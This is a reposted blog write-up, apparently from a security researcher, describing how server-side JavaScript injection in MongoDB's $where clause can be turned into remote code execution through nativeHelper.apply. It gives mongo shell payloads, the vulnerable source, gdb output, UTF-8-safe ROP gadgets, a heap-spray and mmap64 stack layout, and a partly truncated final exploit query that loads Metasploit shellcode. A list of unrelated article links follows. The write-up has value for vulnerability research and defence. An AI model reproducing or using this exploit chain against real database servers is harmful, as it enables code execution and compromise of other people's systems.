博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
mongodb – SSJI to RCE
阅读量:2435 次
发布时间:2019-05-10

本文共 5924 字,大约阅读时间需要 19 分钟。

Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.

The  method seems good for this :

> run("uname","-a")Sun Mar 24 07:09:49 shell: started program uname -ash1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux0

Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})error: { "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071}

But let’s dig a little bit.

> runfunction () {    return nativeHelper.apply(run_, arguments);}

So you can run the « run » function directly by calling nativeHelper.apply(run_,["uname","-a"]);

In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})error: {	"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",	"code" : 10071}

So what’s run_ ?

So what's "run_"> run_{ "x" : 135246144 }

An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})Sun Mar 24 07:15:26 DBClientCursor::init call() failedSun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017Error: error doing query: failedSun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

The server crashed \o/ !

Let’s check the source code :

./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {        try {            Convertor c(cx);            NativeFunction func = reinterpret_cast(                    static_cast( c.getNumber( obj , "x" ) ) );            void* data = reinterpret_cast
( static_cast( c.getNumber( obj , "y" ) ) ); verify( func ); BSONObj a; if ( argc > 0 ) { BSONObjBuilder args; for ( uintN i = 0; i < argc; ++i ) { c.append( args , args.numStr( i ) , argv[i] ); } a = args.obj(); } BSONObj out; try { out = func( a, data ); } catch ( std::exception& e ) {

nativeHelper is a crazy feature in spidermonkey missused by mongodb:

the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

Exploitation

Challenge now is to make a reliable exploit bypassing NX and ASLR (on x86 32bits for the moment).

To achieve this let’s debug it !

The func NativeFunction take 2 arguments : the first one is the arguments array from javascript call inBSONObj format.

The second one is a number from y.

In gdb if we look at eax when the crash occurs [eax]=pointer on our BSONObj

gdb$ x/wx $eax0xb21ae868:     0x0917a77cgdb$ x/10s 0x0917a77c0x917a77c:      "N"0x917a77e:      ""0x917a77f:      ""0x917a780:      "0260"0x917a783:      "B"0x917a785:      ""0x917a786:      ""0x917a787:      'a' 

So we need gadgets to pivot in the [[eax]]+>0xb

0x836e204:   mov    eax,DWORD PTR [eax]0x836e206:   mov    DWORD PTR [esp+0x4],0x200x836e20e:   mov    DWORD PTR [esp],esi0x836e211:   call   DWORD PTR [eax+0x1c]

This one will dereference eax and then call [eax+0x1c] that we control.

So we can put a second gadget to xchg esp, eax at our arguments+0×11
This gadget must also increment esp to point in our buffer and not in BSONObj structure.

Here is a little problem : arguments is UTF-8 encoded so we have to find gadgets with bytes inferior to 0x7f.

0×08457158 respects it :

0x8457158:   xchg   esp,eax0x8457159:   xor    BYTE PTR [eax],al0x845715b:   add    esp,0x40x845715e:   pop    ebx0x845715f:   pop    ebp0x8457160:   ret

So the ret will fall in arguments+0×01, that’s okay for us, we can put another gadget here.

We need to increment the stack pointer to escape the second gadget at arguments+0×11

0x8351826:   add    esp,0x200x8351829:   pop    esi0x835182a:   pop    edi0x835182b:   pop    ebp0x835182c:   ret

Here we go ! Our stack is controlled, but the UTF-8 limitation is really bad, themmap64@plt is at address 0x816f768 so we can’t use it inarguments. Let’s pivot again.

As we are in javascript environment the same techniques used in browser could be effective !

Sorry but we will heapspray !
The first one with NOP+SHELLCODE and we will mmap it RWX.
The second one with our RETCHAIN+ROPCHAIN that call mmap without UTF-8 limitation.

0×20202020 => RETCHAIN+ROPCHAIN

So we need a gadget to put it in eax then xchg esp, eax again.

0x8055a6c:   pop    eax0x8055a6d:   adc    dl,0x270x8055a70:   ret

then 0×08457158, the same as above will pivot the stack.

Here we go again ! Our stack is controlled without any contraints !

The next part is simple as mmap64 is directly callable via plt.

Return to mmap64@plt : 0x816f768 and stack look like that

0x0c0c0c0c => nop sled where to ret after mmap640x0c0c0000 *addr0x00001000 size0x00000007 RWX prot0x00000031 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS0xffffffff0x00000000

Here is the total exploit :

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i

This feature/vulnerability was reported 3 weeks ago to 10gen developers, no patch was commit but the default javascript engine was changed in last version so there is no more nativeHelper.apply function.

A metasploit module is comming soon…

转载地址:http://aghmb.baihongyu.com/

你可能感兴趣的文章
纵览全局——SSH
查看>>
纵览全局——Mybatis
查看>>
PC端-中文转拼音后续问题
查看>>
第七章-面向对象技术
查看>>
Mybatis-略识之无
查看>>
ionic 前端 - 汉字转拼音
查看>>
Ionic-与时间有关的故事-localecompare()
查看>>
Logback-spring.xml日志配置
查看>>
[Vue warn]: Property or method "name" is not defined on the instance but referenced during render
查看>>
ts:json串转换成数组
查看>>
String、StringBuffer和StringBuilder的区别
查看>>
java——职责链模式
查看>>
java_选择类排序——简单选择排序
查看>>
java_中介者模式
查看>>
java_备忘录模式
查看>>
多线程——背景了解
查看>>
power designer使Comment与Name相同.txt
查看>>
学习Spring 开发指南------基础语义
查看>>
IE下的图片空隙间距BUG和解决办法
查看>>
[pb]从excel导入数据到datawindow
查看>>